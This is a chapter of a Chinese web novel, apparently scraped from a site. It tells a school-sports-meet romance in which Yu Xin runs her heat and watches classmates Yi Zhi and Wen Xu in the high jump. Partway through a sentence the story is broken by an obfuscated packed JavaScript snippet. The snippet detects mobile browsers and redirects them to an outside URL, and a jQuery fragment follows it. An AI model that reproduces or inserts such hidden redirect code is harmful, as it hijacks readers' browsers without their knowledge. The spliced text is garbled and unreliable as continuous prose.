大概是运动的缘故,喻鑫这一周过得充实又舒畅。
为了补上缺席的那一节晚自习,白天的课间都被她安排得满当当,全部用来写作业。而每晚在操场上全速跑上两三千米,也让她的睡眠质量提高了不少。
当然,睡眠好的另一部分原因,或许是她终于不用睡沙发了。
她还是不喜欢表哥房间里的那股味道,但每天白天通通风,晚上回来倒也尚可忍受。而且,表哥这次收拾得很干净,书柜上空出了两大格,衣柜空出了四分之一面,看起来是特意给她留的,就连拳击袋都收纳到了地下室的杂物间里——
不能偶尔偷偷捶几拳了,喻鑫莫名有点儿遗憾。
大概是跳高训练结束的时间,和她跑步结束的时间比较契合,每晚,喻鑫都会和易执一起回教室。
跑步是项孤独的运动,进步也是缓慢而难以察觉的,因而没太多话可聊。而跳高组倒是每天趣事频发,毕竟绝大多数人都和易执一样,是被强行抓壮丁。
易执不愧是文理双全,虽然讲起话来一本正经,但正因如此,反倒有种淡淡的冷幽默。
喻鑫在一旁听得直乐,刚运动完气儿还没喘顺呢,笑得躬着腰,紧捂胸口。
笑一半,旁边悠悠然飘过一句:“聊什么呢,这么好笑。”
喻鑫来不及抬头,但嗅觉比视觉更快认出了他。
一旁的易执略一点头:“嗨。”
闻叙:“嗨。”
到底每晚抬头不见低头见,两人表面上的关系没之前那般僵持。
喻鑫顺了顺气儿,抬头看向他。闻叙倒也没避,就这么垂下眼一瞬不瞬地盯着她,眼里还写着几分疑惑,似乎在等待她回答刚刚的问题。
“我在和她聊2班那个男生,把软垫都给撞飞那个。”易执道。
闻叙就好像没听见似的,还在看着她。
喻鑫觉得,他这人以后很适合去当个刑侦专家,专攻审讯。
也不用多说什么,单往嫌疑人对面一坐,盯着人看就行。
就连喻鑫这种觉得自个儿啥也没做错的,都被看得一阵心虚,下意识求助地看向易执。
察觉到她的目光,易执背脊挺直了些,看向闻叙:“你有什么事儿吗?”
“哦,没有。”闻叙摇摇头,慢条斯理地站直身体,“就是有点儿好奇,那我先走了。”
……算了,还是转行吧,光有天赋,但耐性不足。
望着他的背影,喻鑫想。
自那天起,喻鑫还是每晚都会在操场上见到他的身影。只是这种目光通常是单向的,闻叙也没再自讨不快地上前搭讪。
易执依然每晚会给她讲些跳高队的有趣故事,但听来听去,出的都是差不多的糗,她逐渐也丧失了兴趣。
运动会周一开幕,一共举办三天。
对于龄中的运动会居然不会占用周末这件事,喻鑫颇为震惊。
上午是“群魔乱舞”的开幕表演,下午便紧锣密鼓开始了初赛。
由于要在一下午决出结果,初赛排得很满,同一时间,操场上进行着好几场比赛。
叶方笙喜欢的男生报了跳远,她一早去沙坑那儿候着了。易执也早早去跳高场地等候,而翟疏雨则和她的朋友提前练起了两人三足。
喻鑫一个人站在塑胶跑道上,沉默地做着热身动作,听着周围给其他人加油的声音此起彼伏。
“喻鑫,加油!”
耳边忽而一句,喻鑫惊喜地抬起头,原来是成一冉和姚懿。
两人手挽着手,散步一般从场地边悠然经过,随口撂下这一句,便飘飘然走远了,似是在寻找下一个可以鼓劲的对象。
“也不是没人给我加油嘛。”
喻鑫晃晃脑袋,在心里想。
一声枪响,比赛正式开始。
高二一共十六个班,前十即可晋级半决赛,对此喻鑫还算有信心。
她选择了最为稳妥的起步速度,虽然看着其他人一个个越过她时,心下不免发颤。
稳住,她告诉自己,这不是一圈定胜负的比赛,开头的这点距离,到后期算不上什么。
果然,刚跑完一圈,不少人已经开始掉队。喻鑫从始至终保持着自己最为舒适的步频,眼睁睁看着最初超越自己的那些人,又一个个落在她身后。
最后半圈,喻鑫想了想,还是放弃了加速。
她就这样以最为自在的节奏,平和地迈过终点,第六名,顺利晋级半决赛。
没有欢呼,也没有掌声。虽然这个比赛这个结果,也确实不值一提。
喻鑫从场边的纸箱里拿起一瓶水,一边喝,一边在操场边散步,想着有什么有意思的比赛可以观望观望。
头脑是这么想的,但双脚的目的似乎很明确——
站在跳高场地外,喻鑫犹豫片刻,还是走了进去。
跳高本来就很有趣,不是么?
光是训练,易执就能给她分享那么多趣事儿,正赛肯定只会更有意思。
而且,她只是来给易执加油的而已。
就是这目光看向的高度,好像只能找到易执的头顶。
能在这个高度的目光下存活的面孔,除了那个明显超过一米九的大高个儿,就只剩——
下午的阳光有些烈,闻叙下意识眯起了眼,表情看起来有点儿臭。
对上这张臭脸,喻鑫吓了一跳。
闻叙似乎还没意识到问题所在,依然眯着眼皱着眉,一副看谁都不爽的姿态,居高临下地打量她。
怎么都看不清楚,他干脆抬手横在额前,遮去了刺眼的阳光,视野也逐渐变得清晰。
喻鑫眼睁睁看着那张刚刚还唯我独尊的脸,下一秒突然冲她笑得无比灿烂。
大概是刚跑完步,身体还没恢复好,要不心跳怎么会突然漏一拍。
喻鑫默默转过头,和他面向了同样的方向,然后被直打过来的阳光照着,忍不住也摆出了和他之前一样的臭脸。
她就这样皱着脸,开始看跳高比赛的预赛。
和料想中一样,跳高比赛确实乐趣十足。
短短一周的训练,好像只培养了众人跃杆的勇气,但能不能真越过去,那倒是两说。
一群人的跳高姿势五花八门,掉杆的方式也各不相同,跳高杆附近方圆三米俨然是危险区,一不小心就能被砸一脑门。
和跑步一样,跳高也是十六进十,但想在这儿选出十个不掉杆的,还真没那么容易。
裁判叹了口气,高声道:“刚刚掉杆的过来集合,重跳一轮,再选四个人。”
这么说,一轮已经比结束了。
喻鑫悄悄转头,就看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817044|173090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻叙大步走向了相反的方向。
看起来,他是已经在晋级名单内的。
闻叙一路走到场边,躬腰拿起一瓶水,将将拧开还没喝,便忽而回头——
和她的目光撞了个正着。
喻鑫吓得一秒回头,视野刚对上焦,就在等待跳第二轮的队伍里,看到了易执的身影。
我还等着你赢过闻叙呢,这可怎么办呀……
这么想着,喻鑫干脆举起手高喊道:“加油,易执!”
听见声音,易执从队伍里回头,笑着也冲她挥挥手,嘴唇动了动,似乎在说“谢谢”。
“怎么不替我加油?”
耳边幽幽传来一句,吓得她一激灵。
腿长就是好,就几秒钟的功夫,喻鑫都不知道他是怎么从那一头,悄然瞬移到她身边的。
“我、我不是没看见你跳嘛。”
喻鑫讨厌自己莫名的心虚。
“哦。”闻叙弯下腰,双手撑着膝盖,嘴唇快和她的耳朵齐平,说出的话也就这么毫无距离地传递其中,“就算看见了,你也不会给我加油的,对不对?”
太近了。
喻鑫下意识往远离他的方向平移了一步。
“你和我们班是竞争对手,我当然要给本班的加油。”
喻鑫不太想看他,垂着一双眼,余光里见他缓缓起身,指尖无意识勾起短裤的裤沿,露出一大截雪白的大腿,惊得她一秒看向自己的鞋尖。
闻叙当然没察觉到她刚刚的小心思,他松了松有些发紧的身体,语气漫不经心:“那等他淘汰了呢?”
“你怎么知道你那时候没淘汰?”喻鑫不服。
闻叙低头看了她一眼。
少顷,他拍拍她的肩:“那你慢慢看吧,我先走了。”
喻鑫没有回头去看他的背影。
她定定地望着跳高比赛,眼前这位似乎擦杆了,杆子摇晃了一下,但幸运地没掉。
她不喜欢闻叙这样。
不喜欢他总是莫名靠近她,不喜欢他总是说些含糊其辞的话,不喜欢他总是对她笑对她好。
现在的她,已经不需要再多这么一个朋友了。
很快,便轮到易执上场。
起跑前,他回头看了一眼,喻鑫也捧场地高高挥手:“加油,你可以的!”
易执点了点头,深吸一口气,从起点冲了出去。
当看到他在杆前犹豫的那一刻,喻鑫心下一沉,果然,他肩膀还没越过去,已经把杆撞掉了。
好在还有第二次机会。
第二次,喻鑫没有开口。
她屏住呼吸,看着易执比第一次冲得更猛,也更果断。
一个漂亮的背越,成功了。肉眼都能看见他的背距离杆还有不少距离,这远不是他的极限。
易执从软垫上翻滚着起身,和裁判沟通了几句后,便兴奋地奔向她。
“差点儿以为我初赛就要被淘汰。”他还有些上气不接下气。
“那就太浪费你的实力了。”喻鑫说,“我感觉你还能比这跳得高得多。”
“嗯,我也才发现,我好像还挺有跳高天赋的。”
“那你觉得……你能赢吗?”
她没有明说,但易执心领神会。
他轻轻嗤笑一声:“如果他不作弊的话。”